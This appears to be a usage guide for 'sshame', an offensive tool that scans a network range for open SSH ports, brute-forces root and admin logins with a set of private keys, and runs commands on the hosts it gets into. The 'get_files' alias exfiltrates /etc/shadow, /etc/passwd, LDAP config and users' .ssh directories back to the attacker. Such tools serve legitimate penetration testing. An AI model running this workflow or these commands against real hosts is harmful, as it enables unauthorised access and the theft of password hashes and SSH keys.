Add target hosts

In the sshame shell run hosts -a list-of-ip-ranges-or-hosts [-p port]:

(sshame) hosts -a 10.0.0.0/24 -p 22
Scanning 10.0.0.0/24 on port(s) 22
........***.............
Received 877 packets, got 222 answers, remaining 34 packets
2019-08-25 19:22:15,633 sshame [I] 'Adding host (port open): 10.0.0.2 22'
2019-08-25 19:22:15,683 sshame [I] 'Adding host (port open): 10.0.0.1 22'
2019-08-25 19:22:15,686 sshame [I] 'Adding host (port open): 10.0.0.6 22'

sshame will scan the given hosts with scapy and add those, which have the port open.

To verify added hosts with TCP port open run hosts -l

Load ssh keys

Load private keys with keys -a glob_path [-p list-of-passwords]

(sshame) keys -a test/**/*key
2019-08-25 19:30:40,613 sshame [I] "Adding ssh keys from: ['test/**/*key']"
2019-08-25 19:30:40,614 sshame [I] "Discovered 4 files in 'test/**/*key'."

Loaded 4 unique keys, ignoring 0 duplicates

-p list-of-passwords is optional in case you load encrypted private keys protected with passwords.

List loaded keys with keys -l

Test keys on hosts

To brute force which keys authenticates on which target run test_keys -u list-of-users:

(sshame) test_keys -u root admin
2019-08-25 19:34:31,900 sshame [I] 'Preparing target jobs...'
2019-08-25 19:34:31,933 sshame [I] 'Matching keys - 16 jobs scheduled'
Completed: [####################] [100.00%]
2019-08-25 19:34:56,857 sshame [I] '---------------------------------------------------------------------------'

List matching keys with creds -l:

(sshame) creds -l
[1/1/1]: ssh -i test/keys/rsa_key root@10.0.0.2
[2/2/1]: ssh -i test/keys/dsa_key admin@10.0.0.1

Run commands on remote hosts

To run commands on remote hosts use run_cmd -c command, e.g.:

(sshame) run_cmd -c whoami

Show command results

With commands -r diplay the results:

(sshame) commands -r

Pipe remote commands to a local shell

Define an alias get_files for a remote command tar -cf - /etc/passwd /etc/ldap.conf /etc/shadow /home/*/.ssh /etc/fstab | gzip | uuencode /dev/stdout; exit 0 and pipe it to a local uudecode -o - |tar xzf -, with:

commands -a get_files "tar -cf -  /etc/passwd /etc/ldap.conf /etc/shadow /home/*/.ssh /etc/fstab | gzip | uuencode /dev/stdout; exit 0" -p "uudecode -o - |tar xzf -"

exit 0 is to override tar's exit code in case of missing files.

Run te defined command with:

run_cmd -c get_files

The output you will find in the folder output/<host>_<port>/username/...

Session management

You may want to split wokloads into sessions. Use session name to switch between sessions. Default session is called 'default'.

Each session has its data stored in a separate sqlite db in the current directory named after the session name, e.g. default.db
